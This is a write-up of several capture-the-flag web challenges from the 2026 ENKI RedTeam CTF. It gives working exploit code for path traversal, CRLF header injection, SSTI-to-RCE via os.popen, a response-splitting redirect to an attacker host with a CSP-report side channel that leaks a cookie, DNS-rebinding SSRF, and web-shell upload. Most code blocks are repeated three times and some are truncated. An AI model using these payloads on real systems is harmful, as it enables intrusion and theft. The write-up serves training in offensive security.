Close today

Go to Top

Go to Top

채용연계형 해킹대회 라이트업 썸네일
채용연계형 해킹대회 라이트업 썸네일

Security Insights

Security Insights

Security Insights

ENKI Redteam CTF Writeup: ENKI Jeopardy Writeup

ENKI Redteam CTF Writeup: ENKI Jeopardy Writeup

ENKI Redteam CTF Writeup: ENKI Jeopardy Writeup

Enki White Hat

Enki White Hat

Content

Content

Content

We are releasing a write-up on the Jeopardy challenge from the 2026 ENKI RedTeam CTF.

This content is based on a total of 8 problems including blog, BOOM, Catllery, enki remote service, leakage, luck, Partner Contract Portal, and sfa. It goes beyond simply sharing answers to focus on how to view and approach the problems from an actual attacker's perspective. It includes categorization of vulnerabilities, intentions behind the questions, solution processes, and comprehensive evaluations for each problem, enabling not just solving individual problems but understanding the overall attack flow and mindset.

For those who have solved the problems themselves, it provides a review and insights, and for those encountering them for the first time, it serves as a starting point to understand the attacker's perspective.

blog

Welcome to ENKI Whitehat blog!!

Execute /readflag to get flag.

Vulnerability Classification

Path Traversal (Arbitrary File Read), CRLF Injection / HTTP Header Injection, nginx Internal Redirect, Server-Side Template Injection (SSTI)

Intent of the Challenge

This challenge was designed to evaluate the ability to construct an attack chain that starts from a file download vulnerability to leak server configurations and source code step-by-step, eventually leading to Remote Code Execution (RCE) in a black-box environment where no source code is initially provided.

  1. File Download Vulnerability Identification and Information Gathering: Evaluates the ability to bypass server-side filtering, perform arbitrary file reads, and gather information to understand server configurations and retrieve source code.

  2. Understanding nginx Internal Behavior: Tests the understanding of nginx's Named Location and X-Accel-Redirect headers to discover a method to access internal routing paths that would normally require authorization.

  3. SSTI Vulnerability in Custom Template Engine: Validates the ability to analyze the filtering mechanism of a self-implemented template engine to achieve remote code execution through context overriding.

Solution

1. Feature Exploration and Vulnerability Identification

When you access the service in a black-box environment, a blog-style website is provided. Each post (/post/<id>) has a download link, allowing files to be downloaded via the /post/download?filename=... endpoint.

Testing the file download functionality reveals the following characteristics.

  • Removal of ../ string replacements

  • Removal of ..\\\\ string replacements

Additionally, when / is inserted at the beginning, directory traversal starting from the root directory proceeds, enabling file download attacks.

2. Server Information Gathering

By leveraging this vulnerability, the following files can be read sequentially to understand the server structure.

  1. /home/app/.sh_history: Retrieve the directory structure and service configuration from the command history

  2. /etc/nginx/conf.d/default.conf and /etc/nginx/default.conf.template: Inspect nginx configurations

  3. /app/backend/routes/*.py, /app/backend/framework/*.py: Obtainbackend source code

Analyzing the nginx configuration reveals the following architecture.

location /auth/ {
      if ($remote_addr !~ "^10\\\\.231\\\\.3\\\\.[0-9]

location /auth/ {
      if ($remote_addr !~ "^10\\\\.231\\\\.3\\\\.[0-9]

location /auth/ {
      if ($remote_addr !~ "^10\\\\.231\\\\.3\\\\.[0-9]

  • The /auth/ path requires passing Bearer token verification and IP range restriction check (10.231.3.x) to route to the internal Named Location (@admin).

  • Since the @admin routing is inaccessible via legitimate means, other backend vulnerabilities must be exploited.

3. nginx Internal Redirect via Header Injection

@bp.post("/profile/theme")
def profile_theme(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    theme = get_one(params, "theme", "light", 16)

    username = _get_cookie(req, "user") or "guest"
    r = _tmpl(
        "index/profile.html",
        nav_user_html=_nav_user(username),
        profile_rows_html=(
            f'<tr><th>Username</th><td>{_html.escape(username)}</td></tr>'
            f'<tr><th>Theme</th>   <td>{_html.escape(theme)}</td></tr>'
        ),
        theme_form_html=(
            f'<form method="POST" action="/profile/theme">'
            f'<input name="theme" value="{_html.escape(theme)}">'
            f'<button type="submit">Save</button></form>'
            f'<p>&#10003; Theme updated. <a href="/profile">Back</a></p>'
        ),
    )
    r.set_cookie(f"theme={theme}; Path=/")
    return r
@bp.post("/profile/theme")
def profile_theme(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    theme = get_one(params, "theme", "light", 16)

    username = _get_cookie(req, "user") or "guest"
    r = _tmpl(
        "index/profile.html",
        nav_user_html=_nav_user(username),
        profile_rows_html=(
            f'<tr><th>Username</th><td>{_html.escape(username)}</td></tr>'
            f'<tr><th>Theme</th>   <td>{_html.escape(theme)}</td></tr>'
        ),
        theme_form_html=(
            f'<form method="POST" action="/profile/theme">'
            f'<input name="theme" value="{_html.escape(theme)}">'
            f'<button type="submit">Save</button></form>'
            f'<p>&#10003; Theme updated. <a href="/profile">Back</a></p>'
        ),
    )
    r.set_cookie(f"theme={theme}; Path=/")
    return r
@bp.post("/profile/theme")
def profile_theme(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    theme = get_one(params, "theme", "light", 16)

    username = _get_cookie(req, "user") or "guest"
    r = _tmpl(
        "index/profile.html",
        nav_user_html=_nav_user(username),
        profile_rows_html=(
            f'<tr><th>Username</th><td>{_html.escape(username)}</td></tr>'
            f'<tr><th>Theme</th>   <td>{_html.escape(theme)}</td></tr>'
        ),
        theme_form_html=(
            f'<form method="POST" action="/profile/theme">'
            f'<input name="theme" value="{_html.escape(theme)}">'
            f'<button type="submit">Save</button></form>'
            f'<p>&#10003; Theme updated. <a href="/profile">Back</a></p>'
        ),
    )
    r.set_cookie(f"theme={theme}; Path=/")
    return r

Analyzing backend source code reveals that the /profile/theme endpoint forwards the user-provided theme value directly to the set_cookie method.

def set_cookie(self, cookie_line: str) -> None:
    self.cookies.append(cookie_line)

def to_bytes(self) -> bytes:
    ... omitted ...
    for c in self.cookies:
        lines.append(f"Set-Cookie:{c}\\r\\n")

    lines.append("\\r\\n")
    return "".join(lines).encode("ascii") + self.body
def set_cookie(self, cookie_line: str) -> None:
    self.cookies.append(cookie_line)

def to_bytes(self) -> bytes:
    ... omitted ...
    for c in self.cookies:
        lines.append(f"Set-Cookie:{c}\\r\\n")

    lines.append("\\r\\n")
    return "".join(lines).encode("ascii") + self.body
def set_cookie(self, cookie_line: str) -> None:
    self.cookies.append(cookie_line)

def to_bytes(self) -> bytes:
    ... omitted ...
    for c in self.cookies:
        lines.append(f"Set-Cookie:{c}\\r\\n")

    lines.append("\\r\\n")
    return "".join(lines).encode("ascii") + self.body

Because the validation of cookie_line values is missing, a CRLF Injection vulnerability exists.

theme = get_one(params, "theme", "light", 16)
theme = get_one(params, "theme", "light", 16)
theme = get_one(params, "theme", "light", 16)

However, a length limit of 16 bytes is imposed on the theme parameter, so we need to find a way to bypass it.

def get_one(data: Dict[str, Any], key: str, default: str = "", max_len: int = 0) -> Any:
    val = data.get(key)
    if val is None:
        return default
    if isinstance(val, dict):
        return default
    if isinstance(val, list):
        val = val[0] if val else default
    if max_len > 0 and len(val) > max_len:
        val = val[:max_len]
    return val if isinstance(val, str) else get_one({key: val}, key, default)
def get_one(data: Dict[str, Any], key: str, default: str = "", max_len: int = 0) -> Any:
    val = data.get(key)
    if val is None:
        return default
    if isinstance(val, dict):
        return default
    if isinstance(val, list):
        val = val[0] if val else default
    if max_len > 0 and len(val) > max_len:
        val = val[:max_len]
    return val if isinstance(val, str) else get_one({key: val}, key, default)
def get_one(data: Dict[str, Any], key: str, default: str = "", max_len: int = 0) -> Any:
    val = data.get(key)
    if val is None:
        return default
    if isinstance(val, dict):
        return default
    if isinstance(val, list):
        val = val[0] if val else default
    if max_len > 0 and len(val) > max_len:
        val = val[:max_len]
    return val if isinstance(val, str) else get_one({key: val}, key, default)

Analyzing the get_one function reveals a recursive implementation bug where using the theme[][] format (array parameter) bypasses length check. This allows injecting the X-Accel-Redirect header.

theme[][] = \\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\
theme[][] = \\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\
theme[][] = \\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\

X-Accel-Redirect is an nginx internal redirect feature; if this header is in backend responses, nginx forwards the request internally to the Named Location. This grants access to the @admin route bypassing token and IP validation checks.

4. Server-Side Template Injection (SSTI)

The application utilizes a custom template engine rather than generic template engines like Jinja. Among various endpoints using the engine, /admin/announce forwards user input as template engine arguments without filtering or sanitizing.

@bp.post("/admin/announce")
def admin_announce(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    msg = get_one(params, "msg", "")

    return _tmpl(
        "admin/announce.html",
        greeting=msg,
        maintenance_time="2026-03-01 03:00 UTC",
    )
@bp.post("/admin/announce")
def admin_announce(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    msg = get_one(params, "msg", "")

    return _tmpl(
        "admin/announce.html",
        greeting=msg,
        maintenance_time="2026-03-01 03:00 UTC",
    )
@bp.post("/admin/announce")
def admin_announce(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    msg = get_one(params, "msg", "")

    return _tmpl(
        "admin/announce.html",
        greeting=msg,
        maintenance_time="2026-03-01 03:00 UTC",
    )

The main vulnerabilities of the custom template engine are as follows:

  • The __filters__ dictionary exists within the template context, defining filter functions.

  • Insufficient validation and logic bugs during binding parameters allow context __filters__ to be overwritten.

  • Filter expressions are executed internally via eval().

By injecting a dictionary style input via msg, the default safe filter can be overwritten with a malicious expression, allowing arbitrary code execution.

expr = (
    "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
    "if c.__name__=='catch_warnings'][0].__init__.__globals__"
    "['__builtins__']['__import__']('os')"
    ".popen('/readflag').read())"
)
payload = str({"__filters__": {"safe": expr}})
expr = (
    "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
    "if c.__name__=='catch_warnings'][0].__init__.__globals__"
    "['__builtins__']['__import__']('os')"
    ".popen('/readflag').read())"
)
payload = str({"__filters__": {"safe": expr}})
expr = (
    "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
    "if c.__name__=='catch_warnings'][0].__init__.__globals__"
    "['__builtins__']['__import__']('os')"
    ".popen('/readflag').read())"
)
payload = str({"__filters__": {"safe": expr}})

This payload accesses __builtins__ using python's warnings.catch_warnings class and executes the /readflag binary via os.popen().

5. Executing Exploit

The final exploit combining the above components is as follows:

def exploit(base_url, target_cmd):
    url = base_url.rstrip("/") + "/profile/theme?next=announce"
    data = urllib.parse.urlencode({
        "theme[][]": "\\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\n",
        "msg[][]": str({"__filters__": {"safe":
            "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
            "if c.__name__=='catch_warnings'][0].__init__.__globals__"
            "['__builtins__']['__import__']('os')"
            f".popen('{target_cmd}').read())"
        }}),
    }).encode()

    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    with urllib.request.urlopen(req, timeout=10) as resp:
        body = resp.read().decode("utf-8", "replace")

    match = re.search(r'<div class="notice">(.*?)</div>', body, re.DOTALL)
    return match.group(1).strip()
def exploit(base_url, target_cmd):
    url = base_url.rstrip("/") + "/profile/theme?next=announce"
    data = urllib.parse.urlencode({
        "theme[][]": "\\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\n",
        "msg[][]": str({"__filters__": {"safe":
            "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
            "if c.__name__=='catch_warnings'][0].__init__.__globals__"
            "['__builtins__']['__import__']('os')"
            f".popen('{target_cmd}').read())"
        }}),
    }).encode()

    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    with urllib.request.urlopen(req, timeout=10) as resp:
        body = resp.read().decode("utf-8", "replace")

    match = re.search(r'<div class="notice">(.*?)</div>', body, re.DOTALL)
    return match.group(1).strip()
def exploit(base_url, target_cmd):
    url = base_url.rstrip("/") + "/profile/theme?next=announce"
    data = urllib.parse.urlencode({
        "theme[][]": "\\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\n",
        "msg[][]": str({"__filters__": {"safe":
            "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
            "if c.__name__=='catch_warnings'][0].__init__.__globals__"
            "['__builtins__']['__import__']('os')"
            f".popen('{target_cmd}').read())"
        }}),
    }).encode()

    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    with urllib.request.urlopen(req, timeout=10) as resp:
        body = resp.read().decode("utf-8", "replace")

    match = re.search(r'<div class="notice">(.*?)</div>', body, re.DOTALL)
    return match.group(1).strip()

Running this returns the flag output from /readflag: ENKI{cd47897817aacda9abef6dcbfcdf5bfc1a0c1f11d7affdb8dcf7d10916ba3353}.

Overall Analysis

This challenge was designed to evaluate the capability to deduce service structures in black-box environment and chain multiple vulnerabilities together, rather than relying on a single exploit. Participants initially leverage file download feature to secure configurations and source code, which then serves as the basis to analyze internal routing and bypass administration panels to advance further.

The core idea is chaining X-Accel-Redirect internal redirects, and then analyzing structural defects inside the custom template engine to perform SSTI/RCE. Objective was to test overall skills in analyzing server configurations, backend logic, and template engine code

BOOM

Piece by piece

Vulnerability Classification

CRLF Injection, HTTP Response Splitting, XS-Leaks (Cross-Site Leaks)

Intent of the Problem

This problem is not about a single vulnerability, but it’s designed to assess the ability to construct an attack chain that extracts a flag by linking multiple web security techniques. Specifically, it verifies the following three core skills.

  1. Advanced Use of CRLF Injection: Identifies CRLF Injection that occurs when user input is reflected in HTTP response headers and verifies if arbitrary HTTP headers can be inserted based on this.

  2. Understanding of HTTP/1.1 Protocol: Uses the HTTP/1.1 specification, where Transfer-Encoding: chunked takes precedence over Content-Length, to evaluate whether server-side Content-Length: 0 defenses can be bypassed.

  3. Side-Channel Attacks via XS-Leaks: Utilizes the Content-Security-Policy (CSP) report mechanism as an oracle to implement an attack technique that leaks the content of the response body one character at a time.

Solution

1. Analyze Server Structure

This problem consists of three components.

  • app (Python HTTP Server, Port 3000): Core application server

  • Apache Reverse Proxy: Proxy that enforces the CSP header (default-src 'none')

  • bot (Puppeteer): A bot that visits the attacker-specified path with the FLAG cookie

The core logic of the app server is as follows.

def do_GET(self):
    query = parse_qs(urlparse(self.path).query, keep_blank_values=True)
    content_type = query.get("q", ["text/plain; charset=utf-8"])[0]

    cookie = SimpleCookie(self.headers.get("Cookie", ""))
    flag_cookie = cookie["FLAG"].value if "FLAG" in cookie else None
    body = (flag_cookie or "Hello ENKI").encode()

    # For direct top-level navigation, set Content-Length to 0
    if fetch_site == "none" and fetch_mode == "navigate" and fetch_dest == "document":
        self.send_header("Content-Length", 0)

    self.send_header("Content-Type", content_type)
    self.end_headers()
    self.wfile.write(body)
def do_GET(self):
    query = parse_qs(urlparse(self.path).query, keep_blank_values=True)
    content_type = query.get("q", ["text/plain; charset=utf-8"])[0]

    cookie = SimpleCookie(self.headers.get("Cookie", ""))
    flag_cookie = cookie["FLAG"].value if "FLAG" in cookie else None
    body = (flag_cookie or "Hello ENKI").encode()

    # For direct top-level navigation, set Content-Length to 0
    if fetch_site == "none" and fetch_mode == "navigate" and fetch_dest == "document":
        self.send_header("Content-Length", 0)

    self.send_header("Content-Type", content_type)
    self.end_headers()
    self.wfile.write(body)
def do_GET(self):
    query = parse_qs(urlparse(self.path).query, keep_blank_values=True)
    content_type = query.get("q", ["text/plain; charset=utf-8"])[0]

    cookie = SimpleCookie(self.headers.get("Cookie", ""))
    flag_cookie = cookie["FLAG"].value if "FLAG" in cookie else None
    body = (flag_cookie or "Hello ENKI").encode()

    # For direct top-level navigation, set Content-Length to 0
    if fetch_site == "none" and fetch_mode == "navigate" and fetch_dest == "document":
        self.send_header("Content-Length", 0)

    self.send_header("Content-Type", content_type)
    self.end_headers()
    self.wfile.write(body)

The key points are as follows.

  • The value of the q parameter is directly reflected in the Content-Type header.

  • If the bot navigates directly (top-level navigation), Content-Length: 0 is set so the response body does not display.

  • The response body includes the bot's FLAG cookie value.

Additionally, the Apache proxy enforces Content-Security-Policy: default-src 'none', which limits typical XSS attacks.

2. Inserting Headers via CRLF Injection

By inserting \\r\\n (CRLF) characters into the q parameter, arbitrary HTTP headers can be added behind the Content-Type header. For example, sending a request like:

will include the following X-Custom header in the server response:




This CRLF Injection becomes the basis for subsequent attacks.

3. Bypassing Content-Length via HTTP/1.1 Transfer-Encoding

When the bot visits the page directly, Content-Length: 0 is set, so the response body (the flag) is not rendered by the browser. To bypass this, a significant specification of HTTP/1.1 is utilized.

According to RFC 7230, when Transfer-Encoding and Content-Length are both present, Transfer-Encoding takes precedence.

Therefore, by inserting a Transfer-Encoding: chunked header via CRLF Injection and including redirect HTML in the chunked encoded body, it achieves:

text/html; charset=utf-8\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n37\\r\\n<meta http-equiv="refresh" content="0;url=http://attacker:8080/">\\r\\n0\\r\\n\\r\\
text/html; charset=utf-8\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n37\\r\\n<meta http-equiv="refresh" content="0;url=http://attacker:8080/">\\r\\n0\\r\\n\\r\\
text/html; charset=utf-8\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n37\\r\\n<meta http-equiv="refresh" content="0;url=http://attacker:8080/">\\r\\n0\\r\\n\\r\\

Passing this payload in the q parameter allows the bot's browser to ignore Content-Length: 0 and parse the chunked body, redirecting to the attacker's server.

4. XS-Leaks: Extracting Flags via CSP Reports as an Oracle

After guiding the bot to the attacker's server, the XS-Leaks technique extracts the flag character by character. The main principle is as follows:

Principle: The server response body contains the flag. Precise control of Content-Length through CRLF Injection allows the response body to be displayed only up to a certain trimmed length. By embedding the truncated body inside a <style> tag and specifying a SHA-256 hash of that content in the Content-Security-Policy-Report-Only header:

  • If the hash matches → No CSP violation occurs → No report is sent

  • If the hash does not match → CSP violation occurs → Report is sent to the attacker's server

This establishes an oracle of “candidate with no report sent = correct character”.

Attack Flow:

1. The attacker server generates a list of URLs by appending each candidate character to the currently known flag prefix.
2. For each URL:
   * Set Content-Length to the length of "<style>\\r\\n\\r\\n{prefix+candidate}"
   * Specify the SHA-256 hash of "\\n\\

1. The attacker server generates a list of URLs by appending each candidate character to the currently known flag prefix.
2. For each URL:
   * Set Content-Length to the length of "<style>\\r\\n\\r\\n{prefix+candidate}"
   * Specify the SHA-256 hash of "\\n\\

1. The attacker server generates a list of URLs by appending each candidate character to the currently known flag prefix.
2. For each URL:
   * Set Content-Length to the length of "<style>\\r\\n\\r\\n{prefix+candidate}"
   * Specify the SHA-256 hash of "\\n\\

The key logic of the attacker server is as follows.

def probe_url(guess):
    report = origin + "/csp?guess=" + quote(guess, safe="")
    size = len(f"<style>\\r\\n\\r\\n{guess}".encode())
    digest = hashlib.sha256(f"\\n\\n{guess}".encode()).digest()
    digest = base64.b64encode(digest).decode()
    payload = (
        "text/html; charset=utf-8\\r\\n"
        f"Content-Length:{size}\\r\\n"
        f"Content-Security-Policy-Report-Only: style-src 'sha256-{digest}'; "
        f"report-uri{report}\\r\\n"
        "\\r\\n"
        "<style>"
    )
    return chall + "/?q=" + quote(payload, safe="")
def probe_url(guess):
    report = origin + "/csp?guess=" + quote(guess, safe="")
    size = len(f"<style>\\r\\n\\r\\n{guess}".encode())
    digest = hashlib.sha256(f"\\n\\n{guess}".encode()).digest()
    digest = base64.b64encode(digest).decode()
    payload = (
        "text/html; charset=utf-8\\r\\n"
        f"Content-Length:{size}\\r\\n"
        f"Content-Security-Policy-Report-Only: style-src 'sha256-{digest}'; "
        f"report-uri{report}\\r\\n"
        "\\r\\n"
        "<style>"
    )
    return chall + "/?q=" + quote(payload, safe="")
def probe_url(guess):
    report = origin + "/csp?guess=" + quote(guess, safe="")
    size = len(f"<style>\\r\\n\\r\\n{guess}".encode())
    digest = hashlib.sha256(f"\\n\\n{guess}".encode()).digest()
    digest = base64.b64encode(digest).decode()
    payload = (
        "text/html; charset=utf-8\\r\\n"
        f"Content-Length:{size}\\r\\n"
        f"Content-Security-Policy-Report-Only: style-src 'sha256-{digest}'; "
        f"report-uri{report}\\r\\n"
        "\\r\\n"
        "<style>"
    )
    return chall + "/?q=" + quote(payload, safe="")

This function is called for each candidate character to generate probe URLs. As the bot loads these URLs sequentially, non-correct candidates send CSP reports to the attacker's server. The last candidate without a report becomes the correct character and is repeated to recover the entire flag.

Eventually, the flag ENKI{3f9ed664533c75baa86a1fe3009926de2099363} can be obtained.

Overall Assessment

This problem requires constructing a complex attack chain linking a relatively simple vulnerability like CRLF Injection with understanding HTTP protocol behavior and advanced side-channel techniques like XS-Leaks.

Catllery

Meow Meow Meow….

Vulnerability Classification

SSRF (Server-Side Request Forgery), DNS Rebinding

Intended Purpose

This challenge was designed to assess the ability to identify the security blind spots in image optimization features provided by frontend frameworks and to carry out SSRF attacks using DNS Rebinding techniques. Specifically, it tests the following skills:

  1. Identifying SSRF feasibility in Next.js image optimization endpoints: Understanding that the /_next/image endpoint fetches images from external URLs server-side and verifying if this behavior can be leveraged to access internal services.

  2. Bypassing network defenses via DNS Rebinding: Evaluating the ability to apply DNS Rebinding techniques to bypass host validation or DNS-based protections.

  3. Analyzing internal API structures and bypassing access controls: Validating whether you can analyze the business logic and access control mechanisms of the internal Flask service based on its source code to derive a bypass strategy.

Solution

1. Understanding the Service Architecture

Analyzing the provided source code reveals that this service operates under the following dual structure:

  • External Service (Next.js, Port 3000): The frontend web application exposed to users.

  • Internal Service (Flask + Redis, Port 5000): The backend API accessible only from 127.0.0.1.

Checking docker-compose.yml confirms that only port 3000 is exposed to the outside, making direct access to the internal Flask service impossible. Looking at middleware.ts and lib/internal.ts of Next.js, we can see that the frontend calls the internal API at http://127.0.0.1:5000 server-side.

2. Identifying the Key Objective

Analyzing the code of the internal Flask service (app.py) shows that the /internal/get-image endpoint is key.

@app.get("/internal/get-image")
def get_image():
    ticket_no = request.args.get("ticket_no", "")
    if ticket_no == VIP_TICKET_NO:
        return err("forbidden", 403)

    reservations = reservations_for_ticket_no(ticket_no) if ticket_no else []
    is_vip = any(str(row.get("seat")) == "VIP" for row in reservations)

    path = REAL_FLAG_IMAGE if is_vip else FAKE_FLAG_IMAGE
    return send_file(path, mimetype="image/png", max_age=0)
@app.get("/internal/get-image")
def get_image():
    ticket_no = request.args.get("ticket_no", "")
    if ticket_no == VIP_TICKET_NO:
        return err("forbidden", 403)

    reservations = reservations_for_ticket_no(ticket_no) if ticket_no else []
    is_vip = any(str(row.get("seat")) == "VIP" for row in reservations)

    path = REAL_FLAG_IMAGE if is_vip else FAKE_FLAG_IMAGE
    return send_file(path, mimetype="image/png", max_age=0)
@app.get("/internal/get-image")
def get_image():
    ticket_no = request.args.get("ticket_no", "")
    if ticket_no == VIP_TICKET_NO:
        return err("forbidden", 403)

    reservations = reservations_for_ticket_no(ticket_no) if ticket_no else []
    is_vip = any(str(row.get("seat")) == "VIP" for row in reservations)

    path = REAL_FLAG_IMAGE if is_vip else FAKE_FLAG_IMAGE
    return send_file(path, mimetype="image/png", max_age=0)

This endpoint checks the requester's seat reservation details and returns the image containing the flag only to users with VIP seats. However, if the VIP seat's ticket_no is used directly, a 403 response is returned.

VIP seats are automatically created on server init, and the ticket_no is stored in Redis with a 365-day TTL. Normal seat reservations have a short 7-second TTL.

The critical detail here is how the lookup Lua script functions.

local req_ticket_no = ARGV[1]
local holder_ticket_no = redis.call("HGET", KEYS[1], "holder_ticket_no")
if tonumber(req_ticket_no) ~= tonumber(holder_ticket_no) then
  return {}
end
local req_ticket_no = ARGV[1]
local holder_ticket_no = redis.call("HGET", KEYS[1], "holder_ticket_no")
if tonumber(req_ticket_no) ~= tonumber(holder_ticket_no) then
  return {}
end
local req_ticket_no = ARGV[1]
local holder_ticket_no = redis.call("HGET", KEYS[1], "holder_ticket_no")
if tonumber(req_ticket_no) ~= tonumber(holder_ticket_no) then
  return {}
end

Since it uses a tonumber() comparison, even if the VIP's ticket_no is a very long number (365 digits), you can still retrieve the VIP reservation using a different ticket_no with matching leading digits due to floating-point precision limits in Lua. However, a more direct attack vector exists here — accessing the internal API via SSRF.

3. SSRF via Next.js Image Optimization Endpoint

Checking next.config.ts, we find the following configuration:

const nextConfig: NextConfig = {
  images: {
    minimumCacheTTL: 0,
    remotePatterns: [{ protocol: "http", hostname: "**" }],
  },
};
const nextConfig: NextConfig = {
  images: {
    minimumCacheTTL: 0,
    remotePatterns: [{ protocol: "http", hostname: "**" }],
  },
};
const nextConfig: NextConfig = {
  images: {
    minimumCacheTTL: 0,
    remotePatterns: [{ protocol: "http", hostname: "**" }],
  },
};

The hostname: "**" configuration permits image loading from any host. Since Next.js's /_next/image endpoint fetches images from specified URLs on the server side, it can be used as an SSRF vector.

However, Next.js performs basic validation on the url parameter. Direct requests to localhost or internal IPs might be blocked, so we bypass this using DNS Rebinding.

4. Internal Access via DNS Rebinding

DNS Rebinding is a method of manipulating DNS responses so that the same domain returns an external IP on the first resolution and an internal IP (127.0.0.1) on the second resolution.

Using the rbndr.us service makes this easy to configure. The domain format is {external_hex}.{internal_hex}.rbndr.us, which returns one of the two IPs randomly on each lookup.

Since the hex representation of 127.0.0.1 is 7f000001, we construct the following URL:

The reason for using ticket_no=1e309 is that this value represents an extremely large number in scientific notation, which Lua's tonumber() evaluates as equivalent to the VIP's long ticket_no.

5. Executing the Exploit

Since DNS Rebinding relies on probability, we send requests repeatedly until they succeed.

import requests
import time

URL =  "<http://target:3000>"
URL += "/_next/image?w=640&q=75&url="
URL += "http%3A%2F%2F7f000001%2E8efab5ae%2Erbndr%2Eus%3A5000%2Finternal%2Fget%2Dimage%3Fticket%5Fno%3D1e309"

while True:
    try:
        r = requests.get(URL, timeout=(3, 15))
    except requests.RequestException as e:
        print(f"[-] request error:{e}")
        time.sleep(0.5)
        continue

    ctype = r.headers.get("content-type", "")

    if r.ok and ctype.startswith("image/"):
        ext = ctype.split("/", 1)[1].split(";", 1)[0] or "bin"
        filename = f"image.{ext}"
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"[+] image saved:{filename} ({ctype},{len(r.content)} bytes)")
        break

    print(f"[-] status:{r.status_code}")
import requests
import time

URL =  "<http://target:3000>"
URL += "/_next/image?w=640&q=75&url="
URL += "http%3A%2F%2F7f000001%2E8efab5ae%2Erbndr%2Eus%3A5000%2Finternal%2Fget%2Dimage%3Fticket%5Fno%3D1e309"

while True:
    try:
        r = requests.get(URL, timeout=(3, 15))
    except requests.RequestException as e:
        print(f"[-] request error:{e}")
        time.sleep(0.5)
        continue

    ctype = r.headers.get("content-type", "")

    if r.ok and ctype.startswith("image/"):
        ext = ctype.split("/", 1)[1].split(";", 1)[0] or "bin"
        filename = f"image.{ext}"
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"[+] image saved:{filename} ({ctype},{len(r.content)} bytes)")
        break

    print(f"[-] status:{r.status_code}")
import requests
import time

URL =  "<http://target:3000>"
URL += "/_next/image?w=640&q=75&url="
URL += "http%3A%2F%2F7f000001%2E8efab5ae%2Erbndr%2Eus%3A5000%2Finternal%2Fget%2Dimage%3Fticket%5Fno%3D1e309"

while True:
    try:
        r = requests.get(URL, timeout=(3, 15))
    except requests.RequestException as e:
        print(f"[-] request error:{e}")
        time.sleep(0.5)
        continue

    ctype = r.headers.get("content-type", "")

    if r.ok and ctype.startswith("image/"):
        ext = ctype.split("/", 1)[1].split(";", 1)[0] or "bin"
        filename = f"image.{ext}"
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"[+] image saved:{filename} ({ctype},{len(r.content)} bytes)")
        break

    print(f"[-] status:{r.status_code}")

When a request succeeds right as the DNS resolves to the internal IP, the VIP-exclusive image is downloaded. The flag ENKI{Th1s_1s_R34L_FL4G_XD} is contained within that image.

Conclusion

This challenge pragmatically demonstrates that image optimization features in modern frontend frameworks like Next.js can be leveraged as SSRF vectors. DNS Rebinding techniques remain a valid threat in architectures relying purely on network isolation. To defend against this, layered countermeasures like strictly restricting remotePatterns configurations and employing server-side DNS pinning are necessary. When separating outer and inner services in deployment environments, it highlights the vital importance of ensuring there are no unintended paths for server-side requests to reach internal networks.

enki remote service

enki remote service

Vulnerability Classification

Arbitrary File Upload (WebShell), Command Injection (CVE-2026-1731)

Intent of the Problem

This problem is set to evaluate if a candidate can identify vulnerabilities by analyzing the communication between a server and an agent (client) in a black box environment where the source code is not provided, and further assess if the RCE vulnerability on the agent client can be exploited to affect the VM in the isolated environment.

Solution

1. Understanding the Service Structure

Upon accessing the provided URL, there is a button to create an instance, which generates an isolated web server and agent server. The web server, based on PHP, connects to the linked agents at the /_agent endpoint to send commands and receive the results. The agent server provides an agent that is connected to the web server but blocked from making any external server connections.

One flag is stored on each the web server and agent server; to get the final flag, both must be exploited.

2. Obtaining the Web Server Shell

Once an agent is registered, a screenshot function can be requested, and the screenshot file is saved at the path workspace/<agent_name>.<ext>. By analyzing the agent, it is revealed that when uploading a screenshot, a mime type such as image/png is sent, and the server splits by / to directly use the extension. Thus, a web shell can easily be obtained by uploading the screenshot with image/php.

The flag is located at /flag.txt and participants can access the web server's source code.

3. Obtaining the Agent Server Shell

  cached_poll_ms="$(value poll_interval_ms)"
  # ...
  if [ -n "${cached_poll_ms:-}" ]; then
    if [[ "$cached_poll_ms" -lt 2 ]]; then <@
      export ENKI_POLL_INTERVAL_MS="2"
  cached_poll_ms="$(value poll_interval_ms)"
  # ...
  if [ -n "${cached_poll_ms:-}" ]; then
    if [[ "$cached_poll_ms" -lt 2 ]]; then <@
      export ENKI_POLL_INTERVAL_MS="2"
  cached_poll_ms="$(value poll_interval_ms)"
  # ...
  if [ -n "${cached_poll_ms:-}" ]; then
    if [[ "$cached_poll_ms" -lt 2 ]]; then <@
      export ENKI_POLL_INTERVAL_MS="2"

The agent runs from wrapper.sh and restarts each time it is terminated. Upon restart, it sets environment variables by reading the poll_interval_ms key from the ./agent-registration.json file, making RCE possible similarly to CVE-2026-1731 by inserting $() into the [[ ... ]] comparison statement.

    case cmdOpFileSave:
        if err := writeFileContent(cmd.Cmd, cmd.Keys); err != nil {
            log.Printf("filesave error: %v", err)
            _ = cli.sendResult(reg.AgentID, cmd.ID, false, err.Error())
